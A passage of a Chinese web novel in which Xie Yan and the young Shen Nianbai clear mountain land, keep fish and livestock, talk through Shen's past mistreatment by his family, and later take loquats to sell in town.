谢言走到一半的时候遇到了来寻他的沈念白,谢言开口解释道:“你喊我的时候就剩最后一根没有锯了,我就把最后一根给锯了。让你担心了。”
他都这样说了,沈念白自然不会说什么,他就只说了一句,“没事。”
路都是他俩这段时间踩出来的,窄得很,于是两人就一前一后的走。沈念白走在前头,谢言走在后面。
谢言已经累得连说话都费劲了,只想赶紧回去吃了饭睡觉,于是一路上两人也没有说话。回到家,谢言拍了拍裤子上的灰,因为他这段时间已经不穿上衣了,而他人又黑,所以就算脏了点也看不大出来,他一屁股坐到门口的板凳上,靠在墙壁上休息。
沈念白盛了饭递给他,谢言接过来吃了,跟之前一样,还是野菜烘饭,谢言这才想起来他说要去抓鱼的,给忘记了。
谢言道:“本来说好要去抓鱼的,我给忘了,明天早上起来你提醒我一声。”
沈念白应声,“好。”
谢言一连吃了四碗饭,将空碗放在灶台上,“我去洗澡了。”
“好。”
谢言进屋拿了换洗的衣裳,又在走廊下拿了一个串起来的皂角。沈念白摘了许多皂角,怕烂就全部用篾条穿起来挂在屋檐下。
谢言去河里简单的洗了个澡,回来的路上已经困得眼睛都睁不开了。回到家,直接倒床上就睡了。
“谢言哥。”
“谢言哥。”
谢言被沈念白的声音吵醒,他迷迷糊糊的睁开眼睛,
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还以为出什么事了,便问道:“怎么了?”
沈念白见他醒了也没有在推他了,“天快亮了。”
“啊?”谢言猛地睁大了眼睛,他不是才刚躺下吗,怎么就天亮了?
沈念白点了头,“嗯,真的要亮了。”
谢言坐起来挠了挠头,从竹屋的缝隙中看出去已经有亮白的光了,确实是要天亮了,“行,我去河边洗个脸。”
沈念白见他还困得很的样子,有些不大忍心,“要不,你还是在睡会儿吧。”
谢言摇了头,“等太阳大了在睡,趁凉快现在去把活干了。”
沈念白既不忍心他早起,又不忍心他顶着大太阳做活,可他们现在又实在需要田地,几经犹豫还是没有在劝了,“嗯。”
谢言从屋里出来,极目远望,天边还是白蒙蒙一片,山上有些许的雾气还未散去。早上的空气很凉爽,谢言从屋檐下走出去,伸开双手活动活动了身体,精神瞬间好了,他想着要去池塘里抓鱼,便也没有去河里洗脸了。
“我先去抓鱼。”
“好。”
这次谢言没有背背篓了,而是提了水桶去池塘。他想着一次多抓几条,养起来慢慢吃,不然天天都去抓,太费时间了。
来到池塘边,池塘边的野草比之前长得还要高了,比谢言都要高些了,路也没有,谢言用镰刀割了一条路出来,走到池塘下面,将水桶放在岸上,然后脱了裤子跳进了池塘。
池塘里鱼很多,现在谢言抓鱼也抓出经验来了,没一会儿就抓了七八条鱼,谢言觉得还少了点,于是又抓了七八条。鱼又肥又大,水桶都要装不下了,谢言这才收了手,提着水桶去了河边。
谢言打算在河边围一个小的池子,把鱼养在里面,活水鱼比池塘鱼还更好吃些。
谢言又从河床里搬了些石头,紧贴着河岸,围了一个不大不小的圈。垒好后谢言还摇了摇确定稳固了,才把水桶里的鱼倒进了鱼圈里。
圈虽然围得不大,但好在水还挺深的,养十几条鱼空间也足够。
鱼养好后,谢言顺便在河里洗了个澡,池塘里的水虽然不臭,但肯定没有流动的河水干净。
洗完澡,谢言从鱼圈里随手抓了一条草鱼,肥嘟嘟的,谢言随手掂了掂,估计得有十来斤。
谢言拎着鱼回家的时候沈念白已经上山挖野菜去了,沈念白早上会把一天的野菜全部挖好,估计一时半会儿回不来,谢言怕鱼死了不好吃,于是又折返回去将鱼放回了鱼圈里。
把鱼放好后,谢言便转身去了山上,接着昨天的活继续干。
先把杂草割了,然后把割出来的树挨个给锯了。
早上比下午凉快多了,山风吹来还带着凉意,不像下午的风,吹起来都是热的。谢言又锯了五六颗树,山林里时不时就传来‘咔’‘咔’‘咔’的树木倒地的声音。每次树一倒,就要惊飞一群鸟。
谢言每回抬头看到惊慌失措乱飞的鸟,都忍不住想,要是能打到一两只就好了。
17. 第 17 章
日头越来越大了,谢言又开始不停的流汗,全身湿漉漉的就跟刚从水里捞上来似的。
“谢言哥,吃饭了。”
沈念白的声音像天籁一样响了起来,谢言应了一声,“来了。”
这回谢言没有在磨蹭了,应了就扔了锯子回家了。谢言远远的看到沈念白,他在空地上升了火堆,正在烤鱼,三条鱼串在竹签子上,插在地上烤,沈念白正在给鱼翻面。火光红彤彤的,看着就热得很,谢言又抹了一把脸上的汗,喊了声,“念白。”
沈念白听到声音看了过去,回了声,“欸。”
谢言道:“我去河里洗洗。”
因着昨天的事,沈念白饭还没好就提前喊了,听到谢言的话后应了声,“好,我给你拿衣服来。”
谢言热昏了头,听到他说才意识到还要拿换洗的衣服,于是还是往家走,“不用,我自己回来拿。”
“好。”
谢言折回家拿衣服,他的衣服昨天晚上沈念白洗了还晾在晾衣杆上,他一走近沈念白就与他说了,“谢言哥,你的衣服还晾着,应该干了的。”
衣服搭在晾衣杆上,随着风飘,走近了还能闻到皂角的香味。说是衣服,其实只有裤子,因为这段时间谢言已经热得彻底不穿上衣了,只穿裤子。
谢言拿着裤子去了河边,他先去看了他早上做的鱼圈。没有被水冲垮,里头的鱼也生龙活虎的,看起来能活很久的样子。谢言随手在河边扯了点草扔进去,草飘在水面上,也不知道鱼会不会吃。
谢言扔了草就没管了,去河里洗了个澡。他洗的时候才发现光回去拿了裤子,皂角也没拿,现在回去拿也麻烦,将就着搓巴搓巴也算是洗了。
洗完澡浑身清爽,谢言穿好衣服又去看了眼鱼圈里的鱼,水面上的草还跟扔下去的一样,看起来是不会吃了,谢言也没有管,回家去了。
回到家还是老样子在檐下坐着,因为凳子一直放那儿,有点重,谢言也懒得搬来搬去的,而且那位置还挺好的,坐着就能靠在墙上。
谢言一坐下,沈念白就问道:“谢言哥,你先吃饭还是先吃鱼。”
谢言早上没吃饭,这时候已经饿得前胸贴后背了,啃鱼太麻烦了,半天吃不饱。于是他说:“先吃饭吧。”
“好。”
沈念白给谢言盛了饭,因为有了鱼,所以饭就煮得少,之前是煮满满一锅饭的,今天只煮了半锅。上面是一层薄薄的米饭,米饭下面是厚实的野菜,煮熟后是暗绿色的。
沈念白将面上的白米饭大部分都给了谢言,谢言见状,连忙说道:“咱俩平分,你不用给我那么多。”
沈念白不同意,“不行,你做活那么累,不吃米饭怎么行?”
谢言又饿又累,实在不想跟他扯皮,便道:“你要是不听我的,以后都我来盛饭。”
谢言说着就要起身,看那架势就是自己要去盛饭。沈念白见他本来就累得不行,自然不会让他动手,连忙道:“好,咱们平分,你别动,我给你端来。”
谢言根本不想动,听到他的话顺势就给坐回去了,盯着沈念白将碗里的米饭又舀了一些回锅里,虽然说是平分,不过谢言看得清楚,沈念白还是把大部分都给了他。
“谢言哥,吃饭吧。”沈念白盛了满满一碗饭递给了谢言,谢言接过来道了声谢,就狼吞虎咽的吃了起来。
沈念白看着他似乎想说什么,但见他一心吃饭,便又没有说了,默默的退了回去,给自己也舀了一碗饭,安静的吃了起来。
谢言吃完了又去舀了一碗野菜吃了,感觉吃了个半饱,又去拿了烤鱼吃。谢言走到火堆旁这才看清应该是杀了两条鱼,不过串了三份,一条鱼从中间破开但没划开,是连着一起烤的,另外一条鱼切成了两半,分别串起来烤的。
沈念白看着谢言,与他说道:“我只吃一半就够了。”
言外之意,剩下的一条半全是谢言的。谢言担心他吃不饱,问了句,“够吃吗?”
沈念白点头应道:“够了的。”
“别饿着自己。”谢言除了这句也不知道还能说什么。沈念白朝他笑了笑,语气有些轻松,“放心吧谢言哥,饿不着,锅铲都在我手里呢。”
听了他的话,谢言也跟着笑了笑,“那就行。”
谢言弯腰拿了最大的那条鱼,因为他们没地方可以放,所以只能吃一点拿一点,谢言拿了鱼回到檐下坐着吃。
十来斤的鱼,烤过后肥油都流了,最后只剩了三四斤。烤得两面焦黄,闻着就有一股焦香的味道,还混了竹香在其中,咬一口肉感满满。
鱼肉上撒了盐,但不多,能吃出一点点的盐味。就这一点点的盐味就比之前吃的白水煮鱼片好吃一百倍了。小刺都烤焦了,嚼起来嘎嘣脆,跟吃小零食似的。
吃完饭,谢言已经困得不行了,“我去睡了,有事喊我。”
沈念白应声,“嗯。”
谢言起身的时候感觉头都是晕的,进了屋倒床上就睡了,本来他还想说让沈念白早点喊他,但是都困忘记了。
一觉睡醒天都快黑了,谢言从床上坐了起来,沈念白没有在屋里,不过在他旁边有一条新裤子,依旧是深灰色的,款式跟之前那条一样,不过之前那条由于天天磨损,都已经磨出毛边了,旧得跟穿了好几年一样。
谢言出了门,沈念白就坐在门前用竹子编东西。下午西斜,正好在竹屋的后头,所以门前就阴下来了。
沈念白背对着门坐着,编得认真,他微微弯起背,低着头,从后面看,完全跟个小孩子一样。
谢言站在门口看着他,发现这段时间沈念白一点没长,还跟他遇到他的时候一样的瘦。
“念白。”
谢言喊了他一声,沈念白听到声音转过身来,看着他眼睛亮亮的,应了声,“谢言哥,你起来了。”
谢言问他,“你怎么没睡午觉呢?”
沈念白脱口而出,“已经睡醒了。”
谢言看着他手里编的东西,大概是一个箱子,都已经编了快一半了。家里是没有竹子的,谢言不相信沈念白睡了午觉起来还能干这么多活。
谢言不说话,只是皱眉看着他,谢言五官很立体,皱眉的时候显得很凶,沈念白有些吓到了,“我..我真的睡了的。”
谢言看出来他害怕,但还是直接就戳穿了他,“你别骗我了。”
沈念白垂下眼眸,微微低了头,声音也小了,“我只是以前习惯了。”
谢言一时没反应过来,脱口而出问道:“习惯什么?”
沈念白低声解释,“一天只睡两个时辰。”
谢言都愣住了,“什么?”
沈念白弄不清楚谢言是不是不相信他,有些急切的解释得更清楚些,“我娘说哥儿干不了重活,还要吃那么多饭,睡那么久也是浪费,一天睡两个时辰就够了。”
谢言听得心里一股无名
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火冒,这算哪门子的娘?他也没有细想沈念白的话,只是眉头皱得越发的紧了,声音也大了,“所以这段时间你每天只睡两个时辰?”
沈念白还是搞不懂谢言为什么这么生气,他越发的小心翼翼了,甚至有些害怕的往后稍稍的挪了一点。
谢言小时候在老家跟爷爷奶奶住,邻居家养了一条狗,邻居家的女主人很不喜欢,经常打它,后来那狗见到那女主人就害怕得往后退,就跟现在沈念白的反应一模一样,谢言更生气了,声音也冷了下来,“她们还打你?”
这话一出口谢言就知道这问题就多余,完全就是把沈念白的伤口撕开来还撒了一把盐。
谢言蹲了下去,因为他比沈念白高些,站着有点压迫感,所以他蹲下来,表示他没有恶意,“念白,我没有要凶你的意思,我只是生气你这样苛责自己。”
沈念白本来害怕得眼眶都红了,看到谢言突然蹲下去了,又听他这么说,本来是害怕,现在不仅害怕,沉寂多年的委屈一下就涌了上来,他抿着嘴唇极力的控制住不让自己哭出来。
之前在家里但凡他一哭,即便不哭出声,他娘就会更生气,打他就会更厉害,所以他也养成了即便在难受也要强忍着不哭出来的习惯。
谢言继续说道:“你既然喊我一声哥,我也是真心把你当弟弟的。咱们是平等的,咱们都在力所能及的把我们的家建设得更好,还是说你不觉得这是你家,你只是寄宿在这儿,迟早要回去的?”
听到他的话沈念白赶紧摇头解释,“不是的,不是的。谢言哥,我是真心想留下来的,我从来没有想过要回去。”
谢言又问道:“那你真的把我当你哥哥吗?”
沈念白点头,“嗯。”
谢言继续问道:“那你觉得我们是平等的吗?”
这个问题让沈念白迟疑了,从来没有人跟他说过他跟男人是平等的,或者说从没有人跟他说过平等这个词。
谢言见他不回答,换了种方式问道:“你觉得你比我地位低?为什么?”
沈念白的头低得更下去了,他现在知道了谢言的意思,也知道谢言肯定不想听他要说的话,但他还是说了,“因为我是哥儿。”
谢言实在搞不懂这地方不是重男轻女,而是不喜欢第一个孩子?应该是什么狗屁封建习俗吧,谢言没有多问,只是说道:“不管哥哥还是弟弟,一家人都是平等的,她们虐待你是她们的错,你不用自卑。”
沈念白大体都听明白了,但有个词他不懂,“什么叫自卑?”
谢言愣了一下,随即解释道:“就是有时候你觉得自己比不上别人。”
沈念白应了声,乖乖的应声,“我知道了,我以后会改的,谢言哥你别生气了。”
一听这话就知道他根本没转过来,不过谢言也明白思想不是一朝一夕就能改的,反正他们时间多得是,可以慢慢来。
“从现在起,你每天一定要睡够五个时辰,不然我要生气,我生气每顿就少吃一碗饭。你要是哪天没睡够,第二天就少煮点饭吧”
听了他的话沈念白一时都愣住了,脱口而出了一声“哦。”说完才意识到不对又赶紧挽回道,“不是不是,我一定会睡够五个时辰的。”
“我能不能吃饱就看你的了。”谢言起了身走近拍了拍他的肩膀,颇有些语重心长的味道。
沈念白心里涌上一股暖流,抿着唇重重的点了头,“谢言哥,谢谢你。”
18. 第 18 章
谢言没忍住揉了揉沈念白的头,没有在说下去了,“我去开荒了。”
眼看谢言转身就走,沈念白拉住了他的胳膊,欲言又止的喊了声,“谢言哥。”
谢言回身看向他,“怎么了?”
沈念白的眼眶还些红,抿着嘴唇有些不大敢看他,谢言也不催他,只是等着,只见沈念白深吸了一口气,做足了准备才低声说道:“从明天开始行不行?”
他的声音太小了,谢言都没听清楚,微微向前倾身,“什么?我没有听清?”
沈念白抬眸看向他,又深吸了一口气,脸都快憋红了,才又开了口重复了一遍。这次声音大了点,谢言听清楚了,他看着局促的沈念白,伸手轻放在他的头顶,声音越发的柔和,用哄孩子的语调说道:“今晚早点睡。”
沈念白明显的松了一口气,重重的点了头,“嗯。”
谢言扬起嘴角微微的笑了笑,“我去山上了,今晚早点吃饭。”
沈念白点头,“好。”
谢言收回了手转身去了山上,连续砍了两天的树,谢言的胳膊酸得很,今天上山他没打算在砍树了,就将之前割的杂草收拢来。
之前割的杂草是铺在地上的,没有归拢到一块,晒了一两天也差不多能燃了,就可以归拢焚烧了。由于是在山上 ,不需要晒得特别干,不然火势太大,一阵风吹来容易发生火灾。
谢言将所有的杂草归拢成三堆,这才折返回家。
沈念白正好端着锅从河边回来,锅里还放了两条处理好的鱼。他看到谢言有些惊讶,声音都扬了起来,“谢言哥。”
谢言回道:“我把之前割的杂草烧了,回来取火的。”
沈念白点头,“我给你烧一根火把。”
家里的火没熄过,沈念白一直用木材给煨着,不过为了节约柴火,没做饭的时候都是火星状态,每次用火的时候就添柴火,有火星,柴火很快就能燃起来。
上午烤鱼的地方还有火星,沈念白添了柴,火很快就燃起来了,等木材稍微燃透一些,就成了可以拿走的火把了。
谢言拿着火把来到山上,扯了一把干透的草放在最底下,把火把放进去,火瞬间就大了,不过只一会儿就又小了,未干透的草燃烧产生了大量的浓烟,滚滚而来,就跟快要下雨的云一样厚实。
另外两堆也如法炮制,也都很快就燃了起来。
浓烟呛人,谢言走得稍微远了些,确定火势在可控范围内后这才开始挖树桩。
开荒只把树砍了还不够,还得把树桩给挖起来,尤其是大树的树桩,不挖起来太占地方,以后种庄稼都不好种。
挖树桩是个力气活,比砍树还累,得一直弯着腰用力往下挖。大树的树桩根又大,扎地又很深,半天能挖两个就算能耐了。
挖到一半谢言就听到了沈念白在喊他,“谢言哥,吃饭了。”
谢言盘算着今晚让沈念白早点睡觉,于是应了声过后就放下锄头准备回家去了。临走的时候去看了眼还在冒烟的杂草,没有火苗了,但还有火星,只是在阴燃,应该问题不大,等吃了饭过后在来看看。
天早就已经黑了,今晚月色不大好,只能依稀看得到路,不过这段路谢言已经熟得闭着眼睛都能走回去了,也并不影响他。不过他刚走出来就远远的看见一点火光从家的方向朝他走了过来,是沈念白接他来了。
谢言心里暖呼呼的,不过他不想沈念白跑这一趟,于是大声朝他喊道:“不用来接我,看得见路。”
声音顺着风飘过去,火光不动了,沈念白在原地停了下来,谢言又道:“你去家里等我,我马上就回来了。”
沈念白没有说话,但还是在原地站着,谢言见状便加快了脚步,几乎是一路小跑着朝他跑去。
晚上山里虽然不怎么热了,但跑了一路,谢言还是出了一头的汗,倒是不喘。他走到沈念白面前,温声说道:“谢谢你来接我。”
沈念白被他说得有些不好意思,因为算起来他也并没有去接他,只是在这里等他。
见沈念白内敛的低下了头,谢言笑了笑,“走吧,咱们回家吃饭去。”
沈念白这才应了声,“好。”
沈念白转身,两人一前一后的往前走,晚风凉爽,脚步轻快。
回到家坐下就开始吃饭,吃的还是跟上午一样,半锅野菜烘饭,两条烤鱼。
一时无话,啃烤鱼的时候,谢言不免想起山上那连绵不绝的树,砍是砍了,怎么运回来是个麻烦,谢言一个人肯定是弄不回来了,就算加上沈念白也没用。
沈念白见他吃着吃着开始发神了,还以为他是困了,“谢言哥,你困了就去睡吧,我把碗洗了也睡了。”
听到他的话谢言才回过神来,但也没有说破,只是点了头,“行。”
把剩下的烤鱼吃完,谢言便起了身,“我去看看山上的火燃过了没有,你先睡。”
沈念白本来想说跟他一起去,但想着谢言肯定不会同意,于是也没有说了,只是应了声,“好。”
谢言挑着桶去河边打了一桶水担着去了山上,要是还有火,就用水淋湿。结果谢言到了山上一看,草木灰堆得跟小山一样,谢言用棍子掏了掏,底下还有一点点火,差不多都燃干净了。
不用浇水了,但水都挑上来了自然不能浪费,于是谢言挑着水又折到菜地里,没有水瓢,只能提着桶一颗一颗的倒,倒了一半,谢言觉得麻烦,直接一桶水直接给泼完了,水‘哗啦啦’的响。
两桶水两三下就泼完了,谢言挑着水桶回了家,回家的时候沈念白就在屋前坐着,似乎是在等他,见他回来连忙起身,“谢言哥。”
“嗯,怎么还不睡呢?”谢言随口问了句,挑着水桶进了屋,沈念白跟着他后面也进了屋,有些不大好意思,“我有点睡不着。”
“睡不着?”谢言十分诧异,因为自从他来了这里还没有睡不着的时候,只有睡不够的,“是不是怕黑啊?”
在谢言眼里沈念白就是个小孩,小孩怕黑很正常。
沈念白眨了眨眼睛,似乎没料到谢言会给他找台阶,“应.应该是吧。”
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谢言想,这地方又没电,怕黑他还真没办法,“那要不咱们把火堆升屋里来。”
沈念白连忙阻止,“别,不用,我怕一会儿就不怕了。”
谢言心头诧异,怕黑还能怕一会儿就不怕了?
沈念白真怕他在屋里升个火堆,连忙坐到了床上,“其实.我也不是很怕黑,我现在就睡了,谢言哥,你也睡吧。”
谢言是想答应他的,不过他身上实在汗得不行,这要是睡一晚上起来,人估计都得熏死,所以他短暂的犹豫了一下,还是说:“我先去洗个澡。你洗了吗,要不咱们一块去洗?”
沈念白连忙道:“洗了,我刚才已经洗过了,谢言哥你快去吧。”
见沈念白这么避讳,谢言才想起来,这地方男人跟男人也不一样,但现在解释又有些奇怪,于是他也没有解释了,只道:“行,那我快点回来。”
沈念白应声,“好。”
谢言照旧去外面收了裤子,从檐下拿上皂角就去了河边。他的心里挂记着沈念白,所以他走得很快,洗澡也洗得比平时快些,三两下希望就开始往回走了。
回到家进门没有听到沈念白叫他,谢言还有些不习惯,他轻手轻脚的走过去,听到沈念白均匀的呼吸声才发觉他已经睡熟了。
谢言走到另一边坐下正准备躺,就听见沈念白突然惊醒的喊了声,“我没睡。”
谢言觉得不对劲,问了句,“做噩梦了?”
沈念白听到谢言的声音才猛地松了口气,他下意识的抹了抹脑门上的汗,有些支支吾吾的回道:“没.没..忘记了,应该是做了噩梦吧。”
谢言也不知道该怎么安慰他,只是伸手拍了拍他的膝盖,“睡觉吧,没事了。”
沈念白应了声,“嗯。”
谢言拍了两下就收回了他的手,躺到了床上,许是白天睡久的缘故,现下倒是没有太困,他本来想跟沈念白聊聊他之前的生活的,但真正要开口的时候谢言又觉得没有必要聊这些,或许不是没必要,而是没到时候。
等沈念白彻底从过去里走出来的时候,他还想说的话在说吧。现在就算说了也帮不了他什么,既不能冲出去把他父母打一顿,也不能替他难受,安慰的话作用更是不大。
心里没了事,谢言闭上眼睛就睡着了,说不困其实还是困。
第二天谢言还是被沈念白给喊醒了,这还是第一次谢言醒来的时候在床上看到沈念白,一时间还有些感慨,小孩还是听话让人舒心。
沈念白见他坐起来就盯着自己,连忙开始反思自己是不是哪里做错了,“谢言哥,要不,你在睡会儿?”
谢言见他小心翼翼的样子,也没有逗他,实话实说道:“以往我起床的时候你早就起了,我都怀疑我自己是不是睡神附体了。”
沈念白连忙道:“怎么会呢,谢言哥每天这么累,是该多休息的,不然身体怎么受得了。”
这种事情扯来扯去也是扯不清楚的,谢言也没有多说,“就是嘛,要睡饱才有精神。走,起床,干活去。”
“好。”
19. 第 19 章
两人一道起了床,又一起去河边洗了脸。洗脸的时候谢言与沈念白说话,“我昨天浇了菜。”
沈念白有些讶异,这事一直都是他在做的,还疑问了声,“咦?”
谢言解释道:“昨天我挑水本来想去淋火的,但是过去一看没啥火就没用,就顺便把菜给浇了。”
沈念白点了头,“那我今天就不用去浇水了。”
“嗯。”
谢言洗完了脸就直接上山了,沈念白回家背上背篓,牵上牛也出门挖野菜了。
谢言来到山上,还是接着昨天的活干,拿起锄头又开始挖树桩。
一上午挖了两个树桩,就累得谢言汗如雨下,日上三竿太阳开始发力的时候,沈念白的声音准时响了起来。
“谢言哥,吃饭了。”
谢言疲惫的回了一声,“诶,来了。”
谢言扔了锄头就往家走,走的时候看到倒在地上的一根根树,还是没想到要怎么拉回去。
回到家,谢言还是老样子拿了衣服去河边洗澡。
去河边看了鱼圈,里头的鱼还活蹦乱跳的,一点没有蔫吧的意思,看来这种方法很可行,下次还可以多捉几条来养着。
洗完澡回家吃饭,除了野菜在变,其他的都没变,不过饿了吃起来都好吃。吃饭的时候谢言还在想木材的事,沈念白见他一副心事重重的样子,不由得小声问道:“谢言哥,你想什么呢?”
谢言回他,“我在想倒在地里的那些树要怎么弄回来。”
沈念白有些疑惑,“不是用牛给拉回来吗?”
谢言没有想过这个方法,他只见过牛车,还没见过没有板车拉木材的,不由得有些担心,“能行吗?”
沈念白也没有干过这种事,不过他们现在也没有别的办法了,就回道:“等牛长大了应该能行吧。”
谢言想了想,等夏天过去木材也晒得要干了,牛也长大了,应该能拉回来。
吃晚饭谢言就去睡觉了,一觉睡得傍晚,又去上山。
开荒,吃饭,睡觉,如此往复。日子一天天过着,转眼夏天就过去了,在一转眼秋天也要过去了,之前的小兔子如今已经长得肥嘟嘟的,小牛也变了个样,地里的菜也可以挖了。
原本大树参天的树林一天一个样,慢慢的半匹山的树都没了,变成了田地,种上了果树庄稼,只有那生机盎然的绿意一直没有变过。而这个过程,谢言和沈念白整整用了五年。
五年来,谢言心心念念的房子还是没有建起来,因为他一个人的力量和精力实在有限,不过建房子需要的木材倒是已经全部拉回来放在了空地上。小牛犊已经彻底长成了大黄牛,叫起来声音能传出去老远。
五年前小小的兔圈如今已经扩大了十倍不止,当初孤零零的两只兔子,增增渐渐的如今一直保持在三十只左右,还添了鸡圈,鸭圈,鹅圈,只不过没有喂太多,太吃粮食了。
竹屋外面看去只是旧了些,倒是变化不大,但一进门就能看出来天翻地覆的变化,沈念白这些年编了许多家具,架子,衣柜,桌椅,一应俱全,谢言之前还打趣说,他们的房子几年才算是装修完成了。
转眼又到了夏季,农忙时节。忙了一天的谢言看着山上红彤彤的果子,山上种了许多果树,因为之前开荒的树都砍光了,山上光秃秃的,一棵树没有,平时出点太阳连个遮阴的地方都没有,再加上果树种来还能吃,所以谢言又在系统商城里买了许多的果树,几年过去,果树都长大了,硕果累累,而且是现代改良过的品种,品相好味道也好。
晚上吃饭的时候谢言与沈念白商量,“念白,我明天想把枇杷摘些去城里试着卖卖。”
五年过去,沈念白变化非常大,豆芽菜长成了竹竿子,又高又瘦,还白。按理说他天天干活不可能白,可偏偏他过了十六岁之后愣是顶着太阳变白了,若不是他手上的老茧,就说他是富贵人家的公子也不会有人怀疑的。
谢言就不一样了,虽然比最开始的好了些,但还是黑,皮肤跟小麦色一样,与沈念白偏瘦的身形不同,谢言身上的肌肉非常发达,尤其是不穿衣服的时候,看着十分精壮有劲。
这几年也就只有卖蝉蜕的时候谢言才会去城里,然后买盐和布料回来,用一整年。而沈念白更是一次都没有出过门,不过沈念白对谢言的决定向来都是支持的,他点了头,“嗯,明天早上我们早点起来摘,用牛车拉着去。”
之前为了拉粮食,他们做了一个简易的板车,不过谢言拒绝了,“山路牛车走不了,我先背一背篓去镇上试试能不能卖出去。”
沈念白微微皱了眉,“进城好远,一来一回都要一整天,还要背一整背的枇杷,还不如去乡里卖。”
谢言摇头,他想挣钱把房子给建起来,去乡里卖在好的果子也卖不起价钱,他先去县城打探情况,如果销量好,就可以租马来驼。
“明天先去看看情况。”
见他坚持沈念白也没有在说什么,只道:“那今天晚上早点睡。”
谢言应声,“嗯。”
吃了晚饭,谢言照旧拿了衣服放在篮子里去河边洗澡,现在不用从屋里拿皂角了,因为河边的皂角树已经长起来了,并且压了枝,长得茂盛但是很矮,随手就可以摘。
谢言将装着衣服的篮子挂在皂角树上,脱衣服下了河,之前为了吃活水鱼,沈念白编了两块竹网拦了一截大约三米长的河流,把抓来的鱼给放进去,确实比在池塘里的更好吃。
谢言在上游洗澡的时候,还伸手逗了逗鱼,用手搓些泡泡浮在水面上,鱼儿全都涌了过来,乌泱泱的一片,看起来特欢快。
悠哉悠哉的洗完了澡,穿上衣服回家,每次要等谢言洗完澡沈念白才会接着去洗碗,然后洗了澡后顺便把两人的换下来的衣服洗了。这个习惯五年来一直没有变过。
这个天还不热,夜风吹来甚至来有点凉飕飕的,谢言回到家在屋外坐了会儿,这是时候都已经快要到半夜了,院子里都静了下来,牲畜都已经睡了。
没等多久,沈念白就回来了,看到谢言还没睡,问了句,“谢言哥,你怎么还没睡呢?”
“还不大困。”谢言一边回着他,一边上前从他怀里接过盆,盆里装着洗好的衣服,“我去晾衣服。”
平时这个时间谢言已经睡了,沈念白不知道他今晚为什么睡不着,“谢言哥,你在担心什么吗?”
谢言也不知道他今晚为什么想等沈念白,大概是平静安稳的生活过久了,明日要跨出第一步,精神有些亢奋,“没有,就是有点期待,如果真能卖到钱的话,咱
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们的房子也能早点建起来。”
沈念白对此倒是没有什么特别的期待,他很喜欢现在的生活,即便他们住一辈子竹屋也没有关系,只要吃饱穿暖就行了,但此时他也知道不应该给谢言 泼冷水,于是应和道:“嗯,我也期待。”
夏天的衣服薄,一人晾两件就晾完了。
“进屋吧。”
两人并肩往屋里走去,沈念白将盆放在屋檐下,屋檐下放了一圈的柴火,像是多了一堵墙一样,这是开荒砍的树枝一点点积累起来的。
两人进了屋,沈念白走在后面转身关门,由于多了一堵墙,月光就基本上照不进来了,门一关屋里黑得伸手不见五指,不过好在两人已经摸熟了,闭着眼睛都能走床上去,所以影响也不算很大。
两人先后上了床,各自盖上薄被,刚入夏,谢言觉得热,他们就分头睡了,之前又宽又大的床,现在只能算是刚刚能睡下了,稍微动一下就能碰到对方。
谢言畅想着日后的美好生活,不一会儿就睡着了。
第二天早上,谢言睁开眼的时候天都已经大亮了,沈念白已经没了身影,谢言微微皱了眉,因为平时沈念白起床都会喊他的。
谢言穿鞋出了门,远远的就看到沈念白背着背篓从山上回来,腰都被压弯了,谢言赶紧迎了上去,在半路上接到了沈念白,谢言也看到了背篓里满满的都是五星大枇杷。
“快放下,我来背。”
沈念白累得满脸的汗,也没有坚持就把背篓给了谢言。
满满的一大背,背起来沉甸甸的,不过对于天天干力气活的谢言来说并不算什么。
两人一前一后的走着,谢言道:“你怎么不喊我呢?”
沈念白走在前面,谢言看不到他的脸,但能听出来他语气中的心疼,“你这一去最少要明天才能回来了,出去就睡不了觉,我想让你多睡会儿。”
谢言宽慰他道:“你别担心,实在困极了,我可以在路上睡。”
不过沈念白完全没有被安慰到就是了,山林蛇虫鼠蚁多,要是运气不好被咬了,遭老罪了。
“把家里的钱都带上,实在困极了,给几文钱去别人家里住一晚,别睡路上。”
之前卖蝉蜕用了过后还剩了十几文钱,谢言虽然没打算这样做,但还是满口答应。
回家吃了早饭,沈念白怕谢言路上饿,还给他团了几个大饭团给带上了。
临走时,沈念白忍不住叮嘱道:“路上小心些。”
谢言朝他笑笑,“我知道,放心吧,你一个人在家一定要好好吃饭睡觉。”
沈念白微微红了眼眶,每次谢言出门的时候他都忍不住想哭,但还是强行忍住了,“我知道的。”
“我走了。”谢言背起了背篓。
“我送你。”
路上经过荷花池的时候,沈念白还摘了两片荷叶盖在背篓上。
山路长长,一眼望不到头,谢言转身与沈念白说,“回去吧。”
沈念白虽然不舍,但到底没有在走了。
“谢言哥,早点回来。”沈念白的声音带上了压抑的哭腔,明明只是短暂的分别,但他就是舍不得。
“嗯,别担心,我卖完就回来。”谢言知道他担心自己,朝他露出个安心的笑容来。
20. 第 20 章
长大了,脚程也快了,五年前要走三个时辰的路现在一个半时辰就走到了。
来到县城,人潮涌动,熙熙攘攘的与偏寂的山林完全不一样,烟火气十足。谢言背着大背篓进了城,沿街都有摆地摊的,于是谢言也找了个空地将背篓放了下来准备卖枇杷。结果他才刚刚把背篓放下来,就被人呵斥了,“诶,这里不能摆摊。”
谢言转身看去这才发现后面是一个酒楼,说话的应该是酒楼的小二,看起来有些凶。他应了一声就赶紧背着背篓往前走去重新找地方摆摊。
但是每走一个地方都会被赶走,最后谢言实在没办法了,从背篓里拿出了两个枇杷上前递给街上卖背篓的老伯,“老伯,我想卖枇杷,劳你告我一声哪里可以摆摊啊?”
卖背篓的老伯接过他的枇杷,这与他说道:“在城里摆摊都是要去县衙登记分配的。”
谢言有些讶异,摆摊竟然这么麻烦。他关心的问道:“分配摊位要钱吗?”
老伯一边剥着枇杷吃,一边跟他说,“五十文一个月。”
“五十文?”谢言瞪大了眼睛,这也太贵了。
老伯点了头,看谢言穿得破破烂烂的,叹了口气与他说道:“我今天收摊了,你可以将就着在这儿摆一天,但是千万别被巡逻的侍卫发现了,不然要被处罚的。”
谢言忙不迭的点头应道,“谢谢老伯。”
老伯吃完枇杷就收拾东西走了,谢言感恩戴德的将他送走后,就在老伯的摊位上将枇杷摆了出来。
折腾了这么一阵,现在都快午时了,街上的人都少了许多。
谢言看着来来往往的人,学着现代的叫卖法,“买枇杷了,又香又甜的枇杷,不甜不要钱啰。”
没一会儿就有人循声而来,问道:“这枇杷怎么卖?”
谢言盘算了一下,说道:“三文钱一斤。”
“三文钱一斤可不便宜啊。”
谢言道:“我的枇杷品质好,你可以先尝尝。”
那人问道:“尝不要钱吧?”
现代的规矩尝是不要钱的,于是谢言摇头,“尝不要钱。”
“行,那给我尝尝。”
